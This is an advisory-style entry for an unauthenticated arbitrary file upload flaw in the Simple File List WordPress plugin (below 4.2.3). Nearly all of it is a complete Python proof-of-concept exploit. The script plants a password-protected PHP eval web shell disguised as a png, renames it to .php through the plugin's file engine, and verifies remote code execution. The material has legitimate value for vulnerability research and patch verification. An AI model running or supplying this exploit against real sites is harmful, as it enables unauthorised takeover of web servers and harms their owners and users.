Simple File List < 4.2.3 – Unauthenticated Arbitrary File Upload RCE

Description

The Simple File List WordPress plugin was found to be vulnerable to an unauthenticated arbitrary file upload leading to remote code execution. The Python exploit first uploads a file containing PHP code but with a png image file extension. A second request is sent to move (rename) the png file to a php file.

Proof of Concept

import requests
import random
import hashlib
import sys
import os
import urllib3
urllib3.disable_warnings()

dir_path = '/wp-content/uploads/simple-file-list/'
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'


def usage():
    banner = """
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
AUTHOR: coiffeur
    """
    print(banner)


def generate():
    filename = f'{random.randint(0, 10000)}.png'
    password = hashlib.md5(bytearray(random.getrandbits(8)
                                     for _ in range(20))).hexdigest()
    with open(f'{filename}', 'wb') as f:
        payload = '<?php if($_POST["password"]=="' + password + \
            '"){eval($_POST["cmd"]);}else{echo "<title>404 Not Found</title><h1>Not Found</h1>";}?>'
        f.write(payload.encode())
    print(f'[ ] File {filename} generated with password: {password}')
    return filename, password


def upload(url, filename):
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
    datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
             'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
    r = requests.post(url=f'{url}{upload_path}',
                      data=datas, files=files, verify=False)
    r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
    if r.status_code == 200:
        print(f'[ ] File uploaded at {url}{dir_path}{filename}')
        os.remove(filename)
    else:
        print(f'[*] Failed to upload {filename}')
        exit(-1)
    return filename


def move(url, filename):
    new_filename = f'{filename.split(".")[0]}.php'
    headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
               'X-Requested-With': 'XMLHttpRequest'}
    datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
             'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
    r = requests.post(url=f'{url}{move_path}',
                      data=datas, headers=headers, verify=False)
    if r.status_code == 200:
        print(f'[ ] File moved to {url}{dir_path}{new_filename}')
    else:
        print(f'[*] Failed to move {filename}')
        exit(-1)
    return new_filename


def main(url):
    file_to_upload, password = generate()
    uploaded_file = upload(url, file_to_upload)
    moved_file = move(url, uploaded_file)
    if moved_file:
        print(f'[+] Exploit seem to work.\n[*] Confirmning ...')

    datas = {'password': password, 'cmd': 'phpinfo();'}
    r = requests.post(url=f'{url}{dir_path}{moved_file}',
                      data=datas, verify=False)
    if r.status_code == 200 and r.text.find('php') != -1:
        print('[+] Exploit work !')
        print(f'\tURL: {url}{dir_path}{moved_file}')
        print(f'\tPassword: {password}')


if __name__ == "__main__":
    if (len(sys.argv) < 2):
        usage()
        exit(-1)

    main(sys.argv[1])